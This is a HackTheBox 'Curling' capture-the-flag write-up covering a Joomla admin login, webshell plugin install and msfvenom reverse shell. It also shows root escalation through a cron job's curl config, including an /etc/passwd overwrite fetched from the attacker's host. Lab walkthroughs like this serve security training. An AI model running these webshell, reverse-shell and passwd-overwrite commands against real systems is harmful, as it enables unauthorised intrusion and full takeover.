HackTheBox Curling Writeup
Nmap Enumeration
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
┌──(wzwr㉿kali)-[~/Documents/htb/curling]
└─$ cat nmap
# Nmap 7.95 scan initiated Wed May 21 08:49:53 2025 as: /usr/lib/nmap/nmap -sC -sV -vv -oN nmap 10.10.10.150
Nmap scan report for 10.10.10.150
Host is up, received echo-reply ttl 63 (0.088s latency).
Scanned at 2025-05-21 08:49:53 CDT for 12s
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 8a:d1:69:b4:90:20:3e:a7:b6:54:01:eb:68:30:3a:ca (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGsat32aGJHTbu0gQU9FYIMlMqF/uiytTZ6lsW+EIodvlPp6Cu5VHfs2iEFd5nfn0s+97qTfJ258lf7Gk3rHrULvCrUif2wThIeW3m4fS5j6O2ZPjv0Gl5g02TItSklwQmjJfyH0KR5b1D9bGCXQV3Gm585DD8wZrOpTxDjGCnmByYoHitfG6sa1LC7Sckb8g9Km40fvfKPPWMHgzUhXC3g3wXyjXXeByZvhjbAAuOv7MKda6MjeNUH71hkiQRkTwZ8qqY9fbDDnSKOHdkC2Scs+8tcpz8AIekc/hmDSn+QKbs+3iV0FLoW9TOPmT8xz45etnqW6DhhlcrO7aFju33
| 256 9f:0b:c2:b2:0b:ad:8f:a1:4e:0b:f6:33:79:ef:fb:43 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBN2TI0Uv8Dr/6h+pEZ34kyKx7H6tD1gC/FB4q19PO4klA767pC7YVB3NTdEs2TGI+8XAevVqHiQv/8ZniMwG9IU=
| 256 c1:2a:35:44:30:0c:5b:56:6a:3f:a5:cc:64:66:d9:a9 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILhmU6S36IrO41biIUZrXnzMGw3OZmLLHS/DxqKLPkVU
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.29 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-generator: Joomla! - Open Source Content Management
|_http-favicon: Unknown favicon MD5: 1194D7D32448E1F90741A97B42AF91FA
|_http-title: Home
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed May 21 08:50:05 2025 -- 1 IP address (1 host up) scanned in 12.20 seconds
┌──(wzwr㉿kali)-[~/Documents/htb/curling]
└─$ sudo nmap -sU -Pn -T4 10.10.10.150 -p 161
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-21 08:50 CDT
Nmap scan report for 10.10.10.150
Host is up (0.050s latency).
PORT STATE SERVICE
161/udp closed snmp
Nmap done: 1 IP address (1 host up) scanned in 0.16 seconds
HTTP Enumeration
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
┌──(wzwr㉿kali)-[~/Documents/htb/curling]
└─$ curl http://10.10.10.150 -v
* Trying 10.10.10.150:80...
* Connected to 10.10.10.150 (10.10.10.150) port 80
> GET / HTTP/1.1
> Host: 10.10.10.150
> User-Agent: curl/8.8.0
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 200 OK
< Date: Wed, 21 May 2025 05:36:57 GMT
< Server: Apache/2.4.29 (Ubuntu)
< Set-Cookie: c0548020854924e0aecd05ed9f5b672b=qd1elhst2fd4m1vptlvaguj5em; path=/; HttpOnly
< Expires: Wed, 17 Aug 2005 00:00:00 GMT
< Last-Modified: Wed, 21 May 2025 05:36:57 GMT
< Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
< Pragma: no-cache
< Vary: Accept-Encoding
< Transfer-Encoding: chunked
< Content-Type: text/html; charset=utf-8
<
Found Joomla in the source code. It might be hosted by the Joomla framework.
Bingo!
<ip>/administrator/manifests/files/joomla.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<extension version="3.6" type="file" method="upgrade">
<name>files_joomla</name>
<author>Joomla! Project</author>
<authorEmail>admin@joomla.org</authorEmail>
<authorUrl>www.joomla.org</authorUrl>
<copyright>
(C) 2005 - 2018 Open Source Matters. All rights reserved
</copyright>
<license>
</license>
<version>3.8.8</version>
<creationDate>May 2018</creationDate>
<description>FILES_JOOMLA_XML_DESCRIPTION</description>
<scriptfile>administrator/components/com_admin/script.php</scriptfile>
<update>
<schemas>
<schemapath type="mysql">
administrator/components/com_admin/sql/updates/mysql
</schemapath>
<schemapath type="sqlsrv">
administrator/components/com_admin/sql/updates/sqlazure
</schemapath>
<schemapath type="sqlazure">
administrator/components/com_admin/sql/updates/sqlazure
</schemapath>
<schemapath type="postgresql">
administrator/components/com_admin/sql/updates/postgresql
</schemapath>
</schemas>
</update>
<fileset>
<files>
<folder>administrator</folder>
<folder>bin</folder>
<folder>cache</folder>
<folder>cli</folder>
<folder>components</folder>
<folder>images</folder>
<folder>includes</folder>
<folder>language</folder>
<folder>layouts</folder>
<folder>libraries</folder>
<folder>media</folder>
<folder>modules</folder>
<folder>plugins</folder>
<folder>templates</folder>
<folder>tmp</folder>
<file>htaccess.txt</file>
<file>web.config.txt</file>
<file>LICENSE.txt</file>
<file>README.txt</file>
<file>index.php</file>
</files>
</fileset>
<updateservers>
<server name="Joomla! Core" type="collection">https://update.joomla.org/core/list.xml</server>
</updateservers>
</extension>
Hidden comment
It might be the password? Let’s try admin:Q3VybGluZzIwMTgh
Failed. Try to use base64 decode?
1
2
3
┌──(wzwr㉿kali)-[~/Documents/htb/curling]
└─$ echo 'Q3VybGluZzIwMTgh' | base64 -d
Curling2018!
OK… Let’s try again with admin:Curling2018!
Failed again…
Looking back at the post, we found a username called floris.
Trying to use this to login floris:Curling2018!
Success
Joomla! Login
We logged into the Joomla! administrator panel with the credentials of floris. We found that we are a Super User. At this moment, we could search for an authenticated exploit.
We found an RCE Python script that we can use to achieve RCE. However, since we are a Super User, we can do whatever we want; we could try to install a malicious webshell plugin.
https://github.com/p0dalirius/Joomla-webshell-plugin
We first uploaded the malicious plugin:
Then, we executed the command by:
1
2
3
┌──(wzwr㉿kali)-[~/…/htb/curling/Joomla-webshell-plugin-1.1/dist]
└─$ curl "http://10.10.10.150/modules/mod_webshell/mod_webshell.php?action=exec&cmd=id"
{"stdout":"uid=33(www-data) gid=33(www-data) groups=33(www-data)\n","stderr":"","exec":"id"}
Obtain Reverse Shell
1
2
3
4
5
6
7
8
┌──(wzwr㉿kali)-[~/Documents/htb/curling]
└─$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.16.8 LPORT=58787 -f elf -o rev
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 74 bytes
Final size of elf file: 194 bytes
Saved as: rev
1
2
3
4
5
6
7
8
9
10
┌──(wzwr㉿kali)-[~/…/htb/curling/Joomla-webshell-plugin-1.1/dist]
└─$ curl "http://10.10.10.150/modules/mod_webshell/mod_webshell.php?action=exec&cmd=wget%2010.10.16.8%2Frev%20-O%20%2Ftmp%2Frev"
{"stdout":"","stderr":"--2025-05-21 06:09:12-- http:\/\/10.10.16.8\/rev\nConnecting to 10.10.16.8:80... connected.\nHTTP request sent, awaiting response... 200 OK\nLength: 194 [application\/octet-stream]\nSaving to: '\/tmp\/rev'\n\n 0K 100% 38.3M=0s\n\n2025-05-21 06:09:12 (38.3 MB\/s) - '\/tmp\/rev' saved [194\/194]\n\n","exec":"wget 10.10.16.8\/rev -O \/tmp\/rev"}
┌──(wzwr㉿kali)-[~/…/htb/curling/Joomla-webshell-plugin-1.1/dist]
└─$ curl "http://10.10.10.150/modules/mod_webshell/mod_webshell.php?action=exec&cmd=chmod%20777%20%2Ftmp%2Frev"
{"stdout":"","stderr":"","exec":"chmod 777 \/tmp\/rev"}
┌──(wzwr㉿kali)-[~/…/htb/curling/Joomla-webshell-plugin-1.1/dist]
└─$ curl "http://10.10.10.150/modules/mod_webshell/mod_webshell.php?action=exec&cmd=%2Ftmp%2Frev"
1
2
3
4
┌──(wzwr㉿kali)-[~/Documents/htb/curling]
└─$ nc -lvnp 58787
listening on [any] 58787 ...
connect to [10.10.16.8] from (UNKNOWN) [10.10.10.150] 43676
1
2
3
4
5
6
7
www-data@curling:/home/floris$ ls
admin-area password_backup user.txt
www-data@curling:/home/floris$ file password_backup
password_backup: ASCII text
www-data@curling:/home/floris$ cat user.txt
cat: user.txt: Permission denied
www-data@curling:/home/floris$
We can’t get user.txt, so let’s try to do some credential harvesting:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
www-data@curling:/var/www/html$ cat configuration.php
<?php
class JConfig {
public $offline = '0';
public $offline_message = 'This site is down for maintenance.<br />Please check back again soon.';
public $display_offline_message = '1';
public $offline_image = '';
public $sitename = 'Cewl Curling site!';
public $editor = 'tinymce';
public $captcha = '0';
public $list_limit = '20';
public $access = '1';
public $debug = '0';
public $debug_lang = '0';
public $dbtype = 'mysqli';
public $host = 'localhost';
public $user = 'floris';
public $password = 'mYsQ!P4ssw0rd$yea!';
public $db = 'Joombla';
public $dbprefix = 'eslfu_';
public $live_site = '';
public $secret = 'VGQ09exHr8W2leID';
public $gzip = '0';
public $error_reporting = 'default';
public $helpurl = 'https://help.joomla.org/proxy?keyref=Help{major}{minor}:{keyref}&lang={langcode}';
public $ftp_host = '127.0.0.1';
public $ftp_port = '21';
public $ftp_user = '';
public $ftp_pass = '';
public $ftp_root = '';
public $ftp_enable = '0';
public $offset = 'UTC';
public $mailonline = '1';
public $mailer = 'mail';
public $mailfrom = 'webmaster@localhost';
public $fromname = 'Cewl Curling site!';
public $sendmail = '/usr/sbin/sendmail';
public $smtpauth = '0';
public $smtpuser = '';
public $smtppass = '';
public $smtphost = 'localhost';
public $smtpsecure = 'none';
public $smtpport = '25';
public $caching = '0';
public $cache_handler = 'file';
public $cachetime = '15';
public $cache_platformprefix = '0';
public $MetaDesc = 'best curling site on the planet!';
public $MetaKeys = '';
public $MetaTitle = '1';
public $MetaAuthor = '1';
public $MetaVersion = '0';
public $robots = '';
public $sef = '1';
public $sef_rewrite = '0';
public $sef_suffix = '0';
public $unicodeslugs = '0';
public $feed_limit = '10';
public $feed_email = 'none';
public $log_path = '/var/www/html/administrator/logs';
public $tmp_path = '/var/www/html/tmp';
public $lifetime = '15';
public $session_handler = 'database';
public $shared_session = '0';
public $memcache_persist = '1';
public $memcache_compress = '0';
public $memcache_server_host = 'localhost';
public $memcache_server_port = '11211';
public $memcached_persist = '1';
public $memcached_compress = '0';
public $memcached_server_host = 'localhost';
public $memcached_server_port = '11211';
public $redis_persist = '1';
public $redis_server_host = 'localhost';
public $redis_server_port = '6379';
public $redis_server_auth = '';
public $redis_server_db = '0';
public $proxy_enable = '0';
public $proxy_host = '';
public $proxy_port = '';
public $proxy_user = '';
public $proxy_pass = '';
public $massmailoff = '0';
public $replyto = '';
public $replytoname = '';
public $MetaRights = '';
public $sitename_pagetitles = '0';
public $force_ssl = '0';
public $session_memcache_server_host = 'localhost';
public $session_memcache_server_port = '11211';
public $session_memcached_server_host = 'localhost';
public $session_memcached_server_port = '11211';
public $session_redis_persist = '1';
public $session_redis_server_host = 'localhost';
public $session_redis_server_port = '6379';
public $session_redis_server_auth = '';
public $session_redis_server_db = '0';
public $frontediting = '1';
public $cookie_domain = '';
public $cookie_path = '';
public $asset_id = '1';
}www-data@curling:/var/www/html$
Found floris:VGQ09exHr8W2leID or floris:mYsQ!P4ssw0rd$yea!
We can try to log in to the database first:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
www-data@curling:/var/www/html$ mysql -u floris -p
Enter password:
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 151
Server version: 5.7.35-0ubuntu0.18.04.1 (Ubuntu)
Copyright (c) 2000, 2021, Oracle and/or its affiliates.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> select * from Joombla.eslfu_users;
+-----+------------+----------+---------------------+--------------------------------------------------------------+-------+-----------+---------------------+---------------------+------------+----------------------------------------------------------------------------------------------+---------------------+------------+--------+------+--------------+
| id | name | username | email | password | block | sendEmail | registerDate | lastvisitDate | activation | params | lastResetTime | resetCount | otpKey | otep | requireReset |
+-----+------------+----------+---------------------+--------------------------------------------------------------+-------+-----------+---------------------+---------------------+------------+----------------------------------------------------------------------------------------------+---------------------+------------+--------+------+--------------+
| 836 | Super User | floris | webmaster@localhost | $2y$10$4t3DQSg0DSlKcDEkf1qEcu6nUFEr/gytHfVENwSmZN1MXxE1Ssx.e | 0 | 1 | 2018-05-22 18:49:17 | 2025-05-21 06:00:17 | 0 | {"admin_style":"","admin_language":"","language":"","editor":"","helpsite":"","timezone":""} | 0000-00-00 00:00:00 | 0 | | | 0 |
+-----+------------+----------+---------------------+--------------------------------------------------------------+-------+-----------+---------------------+---------------------+------------+----------------------------------------------------------------------------------------------+---------------------+------------+--------+------+--------------+
1 row in set (0.00 sec)
This one is the password for secret.txt, so we must do something with password_backup. By viewing the content, it appears to be hex-encoded using xxd. We can use xxd to decode it.
1
2
3
4
5
6
┌──(wzwr㉿kali)-[~/Documents/htb/curling]
└─$ xxd -r password_backup > password_backup.bin
┌──(wzwr㉿kali)-[~/Documents/htb/curling]
└─$ file password_backup.bin
password_backup.bin: bzip2 compressed data, block size = 900k
1
2
3
4
5
6
7
8
9
10
11
┌──(wzwr㉿kali)-[~/Documents/htb/curling]
└─$ bzip2 -d password_backup.bin
bzip2: Cant guess original name for password_backup.bin -- using password_backup.bin.out
┌──(wzwr㉿kali)-[~/Documents/htb/curling]
└─$ ls
Joomla-webshell-plugin-1.1 Joomla-webshell-plugin-1.1.zip nmap password_backup password_backup.bin.out rev
┌──(wzwr㉿kali)-[~/Documents/htb/curling]
└─$ cat password_backup.bin.out
l[passwordrBZh91AY&SY6Ǎ@@!PtD t"dhhOPIS@68ET>P@#I bՃ|3x(*N&Hk1x"{ೱ]B@6m
Zipped again… Let’s just extract it until we find the password:
1
2
3
┌──(wzwr㉿kali)-[~/Documents/htb/curling]
└─$ gunzip password_backup.gzip
gzip: password_backup.gzip: unknown suffix -- ignored
1
2
3
4
...
┌──(wzwr㉿kali)-[~/Documents/htb/curling]
└─$ cat password.txt
5d<wdCbdZu)|hChXll
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
┌──(wzwr㉿kali)-[~/Documents/htb/curling]
└─$ ssh floris@10.10.10.150
floris@10.10.10.150's password:
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-156-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Wed May 21 06:23:02 UTC 2025
System load: 0.0 Processes: 175
Usage of /: 62.3% of 3.87GB Users logged in: 0
Memory usage: 21% IP address for ens33: 10.10.10.150
Swap usage: 0%
0 updates can be applied immediately.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
Last login: Wed Sep 8 11:42:07 2021 from 10.10.14.15
floris@curling:~$
Privileges Escalation
Quick Check
1
2
3
4
5
6
floris@curling:~$ sudo -l
[sudo] password for floris:
Sorry, user floris may not run sudo on curling.
floris@curling:~$ id
uid=1000(floris) gid=1004(floris) groups=1004(floris)
floris@curling:~$
pspy
1
2
3
4
5
6
7
8
2025/05/21 06:32:01 CMD: UID=0 PID=9381 | curl -K /home/floris/admin-area/input -o /home/floris/admin-area/report
2025/05/21 06:32:01 CMD: UID=0 PID=9380 | sleep 1
2025/05/21 06:32:01 CMD: UID=0 PID=9379 | /bin/sh -c curl -K /home/floris/admin-area/input -o /home/floris/admin-area/report
2025/05/21 06:32:01 CMD: UID=0 PID=9378 | /bin/sh -c sleep 1; cat /root/default.txt > /home/floris/admin-area/input
2025/05/21 06:32:01 CMD: UID=0 PID=9377 | /usr/sbin/CRON -f
2025/05/21 06:32:01 CMD: UID=0 PID=9376 | /usr/sbin/CRON -f
...
2025/05/21 06:34:02 CMD: UID=0 PID=9396 | cat /root/default.txt
Found something interesting…
It seems to run:
1
$ curl -K /home/floris/admin-area/input -o /home/floris/admin-area/report
where
1
2
floris@curling:~/admin-area$ cat input
url = "http://127.0.0.1"
and the file is writable. According to the manual page of curl:
1
2
3
-K, --config <file>
Specify a text file to read curl arguments from. The command line arguments found in the text file are used as if they were provided on the
command line.
That is, it fetches from input and treats it as arguments for the curl command. We can abuse the file:/// protocol to download root.txt.
1
2
floris@curling:~/admin-area$ cat input
url = "file:///root/root.txt"
and wait for minute to get:
1
2
3
floris@curling:~/admin-area$ cat report
3600d38880c8cf893a86e9e184b12203
floris@curling:~/admin-area$
Bonus (Shell?)
Since we are able to specify the output file, we can try to overwrite /etc/passwd with a malicious entry (root2 with our password!).
1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(wzwr㉿kali)-[~/Documents/htb/curling]
└─$ vim passwd
┌──(wzwr㉿kali)-[~/Documents/htb/curling]
└─$ openssl passwd pwn3d
$1$APcvN7Vs$93VIRMfHx0ozGifJ2TGDh0
┌──(wzwr㉿kali)-[~/Documents/htb/curling]
└─$ echo "root2:$1$APcvN7Vs$93VIRMfHx0ozGifJ2TGDh0:0:0:root:/root:/bin/bash" >> passwd
┌──(wzwr㉿kali)-[~/Documents/htb/curling]
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
1
2
3
4
floris@curling:~/admin-area$ cat input
url = "http://10.10.16.8/passwd"
output = "/etc/passwd"
floris@curling:~/admin-area$
Wait for the trigger, and we are able to log in as root2 with the password we set:
1
2
3
4
5
6
7
floris@curling:~/admin-area$ su root2
Password:
root@curling:/home/floris/admin-area# whoami
root
root@curling:/home/floris/admin-area# cat /root/root.txt
3600d38880c8cf893a86e9e184b12203
root@curling:/home/floris/admin-area#
Easy!








